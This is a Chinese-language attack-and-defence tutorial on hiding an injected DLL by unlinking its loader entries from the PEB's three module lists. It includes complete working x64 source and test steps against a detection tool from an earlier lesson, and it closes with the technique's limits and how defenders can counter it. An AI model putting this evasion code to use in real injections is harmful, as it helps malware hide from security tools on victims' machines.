阅读时间: 15-20 分钟
前置知识: 理解进程注入技术、Windows PEB 结构、双向链表数据结构
学习目标: 掌握 LDR 模块断链技术,实现完全隐形的 DLL 注入


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1dH2MBAEvg/


07-攻击篇-LDR模块断链:隐形DLL注入的终极绕过

承接上节:防御者的检测为何失效

上节课,防御者用 模块枚举 + 签名验证 检测到了我们的可疑模块:

  • 原理:通过 EnumProcessModules() 函数遍历所有加载的 DLL
  • 效果:成功列出模块列表,未签名的 DLL 无所遁形

作为攻击者,我们需要找到这个检测的盲区。
关键问题是:EnumProcessModules 到底是怎么获取模块列表的?


用IDA看清EnumProcessModules的真面目

为了找到突破口,我们用 IDA Pro 对 EnumProcessModules 函数进行反编译分析。

下图是 IDA 反编译的完整概览,展示了 EnumProcessModulesInternal 函数如何通过 PEB → LDR → 链表的方式枚举所有模块:

发现1:具体实现来自 EnumProcessModulesInternal

首先需要说明的是,在 Visual Studio 2022 中,EnumProcessModules 实际上是一个宏定义,它指向 K32EnumProcessModules 函数。

打开 IDA,定位到 K32EnumProcessModules,可以发现它内部调用了 EnumProcessModulesInternal 函数。

完整的调用链

EnumProcessModules (宏)
    ↓
K32EnumProcessModules (导出函数)
    ↓
EnumProcessModulesInternal (内部实现)

这个 EnumProcessModulesInternal 函数才是真正遍历模块链表的地方。

发现2:从PEB开始的三步走

让我们看看 EnumProcessModulesInternal 做了什么:

第一步:获取PEB地址

首先它通过 NtQueryInformationProcess 获取了 PEB(进程环境块)

PEB 是什么? 进程环境块(Process Environment Block),Windows 为每个进程维护的一个数据结构,里面存储了进程的各种信息,包括加载的模块列表。

第二步:读取LDR指针

然后在 PEB+0x18 偏移处读取了一个值,这个值就是 PEB_LDR_DATA 结构的指针。

PEB_LDR_DATA 是什么? 加载器数据结构,专门用来管理进程中所有已加载的 DLL 模块。它维护了三个链表,分别按不同顺序记录模块信息。

第三步:读取模块链表

随后它又读取了 PEB_LDR_DATA 偏移 0x20 的地方,这就是 InMemoryOrderModuleList(内存顺序模块链表)。

InMemoryOrderModuleList 是什么? 一个双向链表,按照 DLL 在内存中的地址顺序组织所有已加载的模块。链表中的每个节点都包含一个 DLL 的信息(基址、名称等)。

发现3:链表遍历的关键步骤

拿到链表头后,IDA 中的代码开始循环遍历:

关键理解

双向链表的结构:每个节点有两个指针

  • Flink(Forward Link)- 指向下一个节点
  • Blink(Backward Link)- 指向上一个节点
  • 链表是循环的,从链表头的 Flink 开始遍历
  • 直到 Flink 回指到链表头自己才停止
  • 每个节点存储一个 DLL 的信息(LDR_DATA_TABLE_ENTRY

LDR_DATA_TABLE_ENTRY 是什么? 加载器数据表项(Loader Data Table Entry),记录了单个 DLL 的详细信息:基址、大小、名称、入口点等。

发现4:还有另外两个链表

通过查看 PEB_LDR_DATA 结构定义,我们发现它维护了三个链表

struct _PEB_LDR_DATA
{
    ULONG Length;                              // 0x0
    UCHAR Initialized;                         // 0x4
    VOID* SsHandle;                            // 0x8
    struct _LIST_ENTRY InLoadOrderModuleList;        // 0x10 ← 加载顺序
    struct _LIST_ENTRY InMemoryOrderModuleList;      // 0x20 ← 内存顺序(上面看到的)
    struct _LIST_ENTRY InInitializationOrderModuleList; // 0x30 ← 初始化顺序
};

为什么有三个链表?

这三个链表记录的是同一批 DLL,只是组织顺序不同:

  • InLoadOrderModuleList(0x10) – 按 DLL 加载的时间顺序排列

    比如:ntdll.dll 总是第一个被加载,所以它排在最前面

  • InMemoryOrderModuleList(0x20) – 按 DLL 在内存中的地址顺序排列

    比如:基址在 0x10000000 的 DLL 排在基址 0x20000000 的前面

  • InInitializationOrderModuleList(0x30) – 按 DLL 初始化的顺序排列

    加载和初始化不是同时进行的,初始化顺序可能与加载顺序不同

攻击者启示
防御工具可能用这三个链表中的任意一个来遍历,所以我们必须从所有三个链表中都断链,才能真正隐身。


绕过思路:断链让DLL”隐身”

通过 IDA 分析,我们发现了防御工具的致命依赖:

  1. EnumProcessModules 必须遍历 LDR 链表 – 这是它获取 DLL 列表的唯一途径
  2. 链表在用户态内存 – PEB 和 LDR 结构都在我们进程的地址空间,我们有权限直接修改
  3. 链表操作很简单 – 双向链表的断链只需要改两个指针(Flink 和 Blink)
  4. 断链后就彻底消失 – 遍历逻辑会自动跳过被断链的节点

既然防御工具完全依赖这个链表,那我们的绕过思路就很清晰了:

在 DLL 加载时,把自己从 PEB 的三个 LDR 链表中”摘掉”,让枚举函数遍历时跳过我们。

核心方案

  1. 获取当前进程的 PEB 地址(通过 NtQueryInformationProcess
  2. 访问 PEB 中的 LDR 数据结构(PEB+0x18)
  3. 找到代表当前 DLL 的 LDR_DATA_TABLE_ENTRY 节点
  4. 执行双向链表的断链操作(修改 Flink 和 Blink 指针)
  5. 对三个链表都执行断链(加载顺序 0x10、内存顺序 0x20、初始化顺序 0x30)

用”隐身斗篷”来比喻

  • 防御者的工具相当于”点名簿”,通过遍历名单发现所有人
  • 我们的断链操作就像”撕掉点名簿中的那一页”
  • 虽然人还在那里(内存中),但名单上找不到

双向链表断链原理

在写代码之前,我们需要理解双向链表的断链操作:

// 典型的双向链表节点结构
typedef struct _LIST_ENTRY
{
    struct _LIST_ENTRY *Flink;  // 指向下一个节点
    struct _LIST_ENTRY *Blink;  // 指向上一个节点
} LIST_ENTRY;

// 断链操作的本质:改变指针关系
// 原来:A <-> B <-> C
// 断链后:A <-> C (B被移除)

currentEntry->Blink->Flink = currentEntry->Flink;  // 上一个节点指向下一个
currentEntry->Flink->Blink = currentEntry->Blink;  // 下一个节点指向上一个

关键:只需要修改前后节点的指针,让它们互相指向,跳过当前节点即可。

链表断链前后对比

下图展示了模块链表在断链前后的实际状态变化:

断链前:DLL 还在 LDR 链表中

断链后:DLL 已从链表中移除,但仍在内存中

三个链表的偏移计算

LDR_DATA_TABLE_ENTRY 结构中有三个 LIST_ENTRY 成员:

typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;            // 0x00
    LIST_ENTRY InMemoryOrderLinks;          // 0x10
    LIST_ENTRY InInitializationOrderLinks;  // 0x20
    PVOID DllBase;                          // 0x30 - DLL基地址
    // ... 其他字段
} MY_LDR_DATA_TABLE_ENTRY;

为什么要计算偏移

  • 遍历 InLoadOrderLinks 时,链表指针直接指向结构体起始位置(偏移 0x00)
  • 遍历 InMemoryOrderLinks 时,链表指针指向偏移 0x10 处,需要向前回退 0x10 字节
  • 遍历 InInitializationOrderLinks 时,链表指针指向偏移 0x20 处,需要向前回退 0x20 字节

动手实现:从零开始写断链DLL

现在让我们一步一步写出这个 DLL。

为什么这次要写 DLL 而不是 EXE?

之前的绕过代码(如 APC 注入、线程劫持)我们都是写在 EXE 里的,但这次必须用 DLL,原因是:

核心问题:我们需要在目标进程内部修改目标进程的 PEB 链表。

技术原因分析

  1. PEB 是进程私有的 – 每个进程有自己的 PEB,A 进程无法直接修改 B 进程的 PEB(需要用 WriteProcessMemory,但操作复杂且容易出错)

  2. 断链必须在目标进程内执行 – 如果用 EXE 从外部修改:

    • 需要先 ReadProcessMemory 读取整个链表结构
    • 计算新的指针地址
    • WriteProcessMemory 写回去
    • 中间可能因为多线程导致链表被修改,产生竞争条件
  3. DLL 天然运行在目标进程 – 当 DLL 被注入后:

    • 它的代码直接在目标进程的地址空间执行
    • 可以直接访问当前进程的 PEB(通过 GetCurrentProcess()
    • 操作简单、直接、可靠

类比理解

  • EXE 方式:像站在房外,透过窗户用遥控器操作房间里的家具(麻烦、不精确)
  • DLL 方式:像进入房间,直接用手移动家具(简单、直接)

所以这次我们要把断链代码写在 DLL 的入口函数 DllMain 中,然后通过注入技术(远程线程、APC 等)把它加载到目标进程。


第一步:搭建 DLL 基本框架

打开 Visual Studio,创建一个新的 C++ 源文件,命名为 07-攻击篇-LDR模块断链-DLL.cpp

首先包含必要的头文件,然后写出完整的 DLL 入口函数框架:

#include <windows.h>
#include <winternl.h>

/**
 * @brief DLL入口函数
 */
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        if (PerformUnlinkInternal(hModule))
        {
            MessageBoxA(NULL, "注入成功!nnDLL已从模块链表中断链,n绕过了模块枚举检测。",
                       "LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
        }
        else
        {
            MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
        }
    }
    return TRUE;
}

关键理解

  • DLL_PROCESS_ATTACH 在 DLL 被加载到进程时触发(只触发一次)
  • 核心的断链逻辑封装在 PerformUnlinkInternal() 函数中,它接收当前 DLL 的句柄 hModule 作为参数
  • 通过弹窗来验证 DLL 是否成功执行(但防御工具将看不到这个 DLL)

第二步:定义 PEB 和 LDR 结构体

为了访问 PEB 链表,我们需要自己定义相关结构体(Windows 不公开这些定义)。

在文件开头(#include 下方)添加:

// PEB 结构(简化版,只包含我们需要的字段)
typedef struct _MY_PEB
{
    UCHAR InheritedAddressSpace;      // 0x00
    UCHAR ReadImageFileExecOptions;   // 0x01
    UCHAR BeingDebugged;              // 0x02
    UCHAR BitField;                   // 0x03
    UCHAR Padding0[4];                // 0x04
    PVOID Mutant;                     // 0x08
    PVOID ImageBaseAddress;           // 0x10
    struct _MY_PEB_LDR_DATA* Ldr;     // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;

// PEB_LDR_DATA 结构 - 加载器数据
typedef struct _MY_PEB_LDR_DATA
{
    ULONG Length;                              // 0x00
    UCHAR Initialized;                         // 0x04
    PVOID SsHandle;                            // 0x08
    LIST_ENTRY InLoadOrderModuleList;          // 0x10 - 链表1:加载顺序
    LIST_ENTRY InMemoryOrderModuleList;        // 0x20 - 链表2:内存顺序
    LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 链表3:初始化顺序
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY 结构 - 每个 DLL 的信息
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;            // 0x00 - 在链表1中的位置
    LIST_ENTRY InMemoryOrderLinks;          // 0x10 - 在链表2中的位置
    LIST_ENTRY InInitializationOrderLinks;  // 0x20 - 在链表3中的位置
    PVOID DllBase;                          // 0x30 - DLL 基地址(用于识别)
    PVOID EntryPoint;                       // 0x38 - 入口点
    ULONG SizeOfImage;                      // 0x40 - 映像大小
    UNICODE_STRING FullDllName;             // 0x48 - 完整路径
    UNICODE_STRING BaseDllName;             // 0x58 - 文件名
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

关键理解

  • PEB.Ldr 指向加载器数据
  • PEB_LDR_DATA 包含三个链表,每个链表都记录所有 DLL(只是顺序不同)
  • LDR_DATA_TABLE_ENTRY 是链表节点,代表一个 DLL

第三步:写函数获取 PEB 地址

现在我们需要一个函数来获取当前进程的 PEB 地址。

先定义 NtQueryInformationProcess 函数原型:

typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

然后写获取 PEB 的函数:

PMY_PEB GetCurrentProcessPEB()
{
    static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;

    // 第一次调用时,动态获取函数地址
    if (!NtQueryInfoProcess)
    {
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(
            hNtdll, "NtQueryInformationProcess");
        if (!NtQueryInfoProcess) return nullptr;
    }

    // 查询当前进程的基本信息
    HANDLE hCurrentProcess = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION pbi = {0};
    NTSTATUS status = NtQueryInfoProcess(
        hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

    return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}

关键理解

  • NtQueryInformationProcess 是 Native API(在 ntdll.dll 中)
  • ProcessBasicInformation 可以获取包含 PEB 地址的结构体
  • static 变量缓存函数地址,避免重复查找

第四步:实现断链核心函数

现在开始写最核心的断链逻辑。我们需要从三个链表中都移除当前 DLL 的节点。

BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
    // 验证 DLL 句柄有效性
    if (!hDllModule)
    {
        return FALSE;
    }

    PVOID dllBaseToUnlink = hDllModule;

    // 获取 PEB 和 LDR 结构
    PMY_PEB peb = GetCurrentProcessPEB();
    if (!peb)
    {
        return FALSE;
    }

    PMY_PEB_LDR_DATA ldr = peb->Ldr;
    if (!ldr)
    {
        return FALSE;
    }

    BOOL found = FALSE;

    // TODO: 遍历三个链表,执行断链

    return found;
}

接下来逐一处理三个链表。


第五步:断开链表 1 – InLoadOrderLinks(加载顺序)

PerformUnlinkInternal 函数的 TODO 位置,添加:

// 链表 1:InLoadOrderModuleList(加载顺序)
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
while (currentEntry != &ldr->InLoadOrderModuleList)
{
    // InLoadOrderLinks 在结构体偏移 0x00,所以可以直接转换
    PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

    // 检查是否是我们要断链的 DLL
    if (ldrEntry->DllBase == dllBaseToUnlink)
    {
        // 执行断链操作:让前后节点互相指向
        currentEntry->Blink->Flink = currentEntry->Flink;  // 前一个节点的 Flink 指向后一个
        currentEntry->Flink->Blink = currentEntry->Blink;  // 后一个节点的 Blink 指向前一个
        found = TRUE;
        break;
    }

    // 移动到下一个节点
    currentEntry = currentEntry->Flink;
}

代码解释 1:为什么这行可以直接转换?

PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

因为 InLoadOrderLinks 是结构体的第一个成员(偏移 0x00):

内存布局示例(假设结构体在 0x1000):
0x1000 ← 结构体起始地址
0x1000 ← InLoadOrderLinks 的地址(第一个成员)
0x1010 ← InMemoryOrderLinks 的地址
0x1020 ← InInitializationOrderLinks 的地址

在 C/C++ 中,结构体的第一个成员地址 = 结构体起始地址

所以:

  • currentEntry 指向 0x1000(InLoadOrderLinks)
  • 转换后 ldrEntry 也指向 0x1000(结构体起始地址)
  • 两者地址相同,可以直接转换!

代码解释 2:断链操作的原理

currentEntry->Blink->Flink = currentEntry->Flink;
currentEntry->Flink->Blink = currentEntry->Blink;

双向链表的断链操作本质是改变指针:

原来:A <-> B <-> C
断链 B:
    A.Flink = C (原本指向 B,现在指向 C)
    C.Blink = A (原本指向 B,现在指向 A)
结果:A <-> C (B 消失)

用代码表示:

B->Blink->Flink = B->Flink;  // A 的下一个指向 C
B->Flink->Blink = B->Blink;  // C 的上一个指向 A

第六步:断开链表 2 – InMemoryOrderLinks(内存顺序)

继续在刚才的代码下方添加:

// 链表 2:InMemoryOrderModuleList(内存顺序)
currentEntry = ldr->InMemoryOrderModuleList.Flink;
while (currentEntry != &ldr->InMemoryOrderModuleList)
{
    // InMemoryOrderLinks 在结构体偏移 0x10(16 字节)
    // 需要向前回退一个 LIST_ENTRY 的大小
    PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
        (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));

    if (ldrEntry->DllBase == dllBaseToUnlink)
    {
        // 执行断链操作
        currentEntry->Blink->Flink = currentEntry->Flink;
        currentEntry->Flink->Blink = currentEntry->Blink;
        found = TRUE;
        break;
    }

    currentEntry = currentEntry->Flink;
}

关键理解

为什么要减去 sizeof(LIST_ENTRY)

结构体布局:
+0x00: InLoadOrderLinks          ← 第一个 LIST_ENTRY
+0x10: InMemoryOrderLinks        ← 第二个 LIST_ENTRY (当前链表)
+0x20: InInitializationOrderLinks
+0x30: DllBase
...

当前链表指针指向 +0x10 位置
要获取结构体起始地址,需要:currentEntry - 0x10
即:currentEntry - sizeof(LIST_ENTRY)

第七步:断开链表 3 – InInitializationOrderLinks(初始化顺序)

继续添加第三个链表的处理:

// 链表 3:InInitializationOrderModuleList(初始化顺序)
currentEntry = ldr->InInitializationOrderModuleList.Flink;
while (currentEntry != &ldr->InInitializationOrderModuleList)
{
    // InInitializationOrderLinks 在结构体偏移 0x20(32 字节)
    // 需要向前回退两个 LIST_ENTRY 的大小
    PMY_LDR_DATA_TABLE_ENTRY ldrEntry =
        (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));

    if (ldrEntry->DllBase == dllBaseToUnlink)
    {
        // 执行断链操作
        currentEntry->Blink->Flink = currentEntry->Flink;
        currentEntry->Flink->Blink = currentEntry->Blink;
        found = TRUE;
        break;
    }

    currentEntry = currentEntry->Flink;
}

关键理解

第三个链表在偏移 0x20 位置,需要向前回退 32 字节:

当前链表指针指向 +0x20 位置
结构体起始地址 = currentEntry - 0x20
即:currentEntry - 2 * sizeof(LIST_ENTRY)

完整代码

将上面各步组合在一起,得到完整的断链 DLL 源代码:

#include <windows.h>
#include <winternl.h>

/**
 * @file 07-攻击篇-LDR模块断链-DLL.cpp
 * @brief DLL版本的LDR模块断链隐藏技术演示
 * @details 注入后在目标进程中执行断链操作,然后弹出成功提示
 */

#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif

// ============================================================================
// 自定义结构体定义(补充winternl.h不全的部分)
// ============================================================================

/**
 * @brief LDR_DATA_TABLE_ENTRY结构 - 已加载DLL的信息表项
 */
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;            // 0x00 - 加载顺序链表
    LIST_ENTRY InMemoryOrderLinks;          // 0x10 - 内存顺序链表
    LIST_ENTRY InInitializationOrderLinks;  // 0x20 - 初始化顺序链表
    PVOID DllBase;                          // 0x30 - DLL基地址
    PVOID EntryPoint;                       // 0x38 - 入口点
    ULONG SizeOfImage;                      // 0x40 - 映像大小
    UNICODE_STRING FullDllName;             // 0x48 - 完整DLL名称
    UNICODE_STRING BaseDllName;             // 0x58 - 基础DLL名称
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

/**
 * @brief PEB_LDR_DATA结构 - PEB中的加载器数据
 */
typedef struct _MY_PEB_LDR_DATA
{
    ULONG Length;                              // 0x00
    UCHAR Initialized;                         // 0x04
    PVOID SsHandle;                            // 0x08
    LIST_ENTRY InLoadOrderModuleList;          // 0x10 - 加载顺序模块链表
    LIST_ENTRY InMemoryOrderModuleList;        // 0x20 - 内存顺序模块链表
    LIST_ENTRY InInitializationOrderModuleList; // 0x30 - 初始化顺序模块链表
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

/**
 * @brief PEB结构 - 进程环境块
 */
typedef struct _MY_PEB
{
    UCHAR InheritedAddressSpace;           // 0x00
    UCHAR ReadImageFileExecOptions;        // 0x01
    UCHAR BeingDebugged;                   // 0x02
    UCHAR BitField;                        // 0x03
    UCHAR Padding0[4];                     // 0x04
    PVOID Mutant;                          // 0x08
    PVOID ImageBaseAddress;                // 0x10
    PMY_PEB_LDR_DATA Ldr;                  // 0x18 - 指向加载器数据(关键!)
} MY_PEB, *PMY_PEB;

/**
 * @brief NtQueryInformationProcess函数原型
 */
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

/**
 * @brief 获取当前进程的PEB地址
 * @return 成功返回PEB地址,失败返回nullptr
 */
PMY_PEB GetCurrentProcessPEB()
{
    static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;

    // 获取函数地址
    if (!NtQueryInfoProcess)
    {
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
        if (!NtQueryInfoProcess) return nullptr;
    }

    // 查询当前进程的PEB地址
    HANDLE hCurrentProcess = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION pbi = {0};
    NTSTATUS status = NtQueryInfoProcess(hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

    return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr;
}

/**
 * @brief 执行LDR模块断链操作
 * @param hDllModule 当前DLL的句柄
 * @return 成功返回TRUE,失败返回FALSE
 */
BOOL PerformUnlinkInternal(HMODULE hDllModule)
{
    // 第一步:验证DLL句柄有效性
    if (!hDllModule)
    {
        return FALSE;
    }

    PVOID dllBaseToUnlink = hDllModule;

    // 第二步:获取PEB和LDR结构
    PMY_PEB peb = GetCurrentProcessPEB();
    if (!peb)
    {
        return FALSE;
    }

    PMY_PEB_LDR_DATA ldr = peb->Ldr;
    if (!ldr)
    {
        return FALSE;
    }

    // 第三步:执行LDR断链操作
    BOOL found = FALSE;

    // 遍历InLoadOrderLinks链表
    PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink;
    while (currentEntry != &ldr->InLoadOrderModuleList)
    {
        // InLoadOrderLinks是LDR_DATA_TABLE_ENTRY的第一个成员(偏移0x00)
        // 所以LIST_ENTRY指针就是LDR_DATA_TABLE_ENTRY指针
        PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;

        if (ldrEntry->DllBase == dllBaseToUnlink)
        {
            // 执行断链操作(移除链表中的此节点)
            currentEntry->Blink->Flink = currentEntry->Flink;
            currentEntry->Flink->Blink = currentEntry->Blink;
            found = TRUE;
            break;
        }

        currentEntry = currentEntry->Flink;
    }

    // 遍历InMemoryOrderLinks链表
    currentEntry = ldr->InMemoryOrderModuleList.Flink;
    while (currentEntry != &ldr->InMemoryOrderModuleList)
    {
        // InMemoryOrderLinks是LDR_DATA_TABLE_ENTRY的第二个成员
        // 需要向前回溯16字节(一个LIST_ENTRY)
        PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));

        if (ldrEntry->DllBase == dllBaseToUnlink)
        {
            // 执行断链操作
            currentEntry->Blink->Flink = currentEntry->Flink;
            currentEntry->Flink->Blink = currentEntry->Blink;
            found = TRUE;
            break;
        }

        currentEntry = currentEntry->Flink;
    }

    // 遍历InInitializationOrderLinks链表
    currentEntry = ldr->InInitializationOrderModuleList.Flink;
    while (currentEntry != &ldr->InInitializationOrderModuleList)
    {
        // InInitializationOrderLinks是LDR_DATA_TABLE_ENTRY的第三个成员
        // 需要向前回溯32字节(两个LIST_ENTRY)
        PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));

        if (ldrEntry->DllBase == dllBaseToUnlink)
        {
            // 执行断链操作
            currentEntry->Blink->Flink = currentEntry->Flink;
            currentEntry->Flink->Blink = currentEntry->Blink;
            found = TRUE;
            break;
        }

        currentEntry = currentEntry->Flink;
    }

    return found;
}

/**
 * @brief DLL入口函数
 */
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        if (PerformUnlinkInternal(hModule))
        {
            MessageBoxA(NULL, "注入成功!nnDLL已从模块链表中断链,n绕过了模块枚举检测。",
                       "LDR模块断链演示", MB_OK | MB_ICONINFORMATION);
        }
        else
        {
            MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR);
        }
    }
    return TRUE;
}

验证效果

对比防御工具

实验步骤

  1. 启动上节课的防御工具 06-防御篇-检测模块归属.exe,设置持续监控
  2. 使用远程线程注入或APC注入技术,将 07-攻击篇-LDR模块断链-DLL.dll 注入到目标进程
  3. DLL加载后会自动执行断链操作,然后弹出提示框
  4. 观察防御工具的反应

结果对比

检测方式

防御工具预期

实际结果

绕过结论

模块枚举 (EnumProcessModules)

❌ 应该列出所有DLL

❌ 我们的DLL消失了

✅ 绕过成功

数字签名检查

❌ 应该检查DLL签名

❌ 找不到这个DLL

✅ 绕过成功

白名单检查

❌ 应该标记可疑

❌ 无法检查已消失的DLL

✅ 完全隐形

实际验证效果

通过不同的注入方式验证断链效果:

使用线程劫持注入验证

使用 APC 注入验证


优势与局限

优势

  • 彻底隐形:绕过所有基于模块枚举的检测(EnumProcessModules、GetModuleHandle等)
  • 技术通用:可以配合CreateRemoteThread、APC注入、SET Window Hook等多种注入方式
  • 代码简洁:核心逻辑只需要30行左右的链表操作
  • 防御困难:即使看到DLL的内存内容,也很难重建链表信息

局限

  1. 只隐形了模块枚举

    • 仍然可以通过内存扫描发现DLL的存在
    • 仍然可以通过堆栈跟踪追踪到DLL的代码
    • 仍然可以被更高级的检测工具(如驱动级监控)发现
  2. 留下了执行痕迹

    • DLL执行时的API调用可以被Hook
    • 线程栈中可能有DLL的返回地址
    • ETW等事件跟踪可能记录加载事件
  3. 环境依赖

    • 只在Windows 7及以上版本有效
    • 某些安全软件可能对PEB的访问进行监控
    • 某些系统补丁可能改变PEB结构,导致偏移量失效
  4. 防御者的反制

    • 防御者可以验证LDR链表的完整性(检查链表是否被篡改)
    • 防御者可以遍历进程的内存页面,发现隐形DLL
    • 防御者可以使用驱动级回调监控PEB的修改

By UD2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注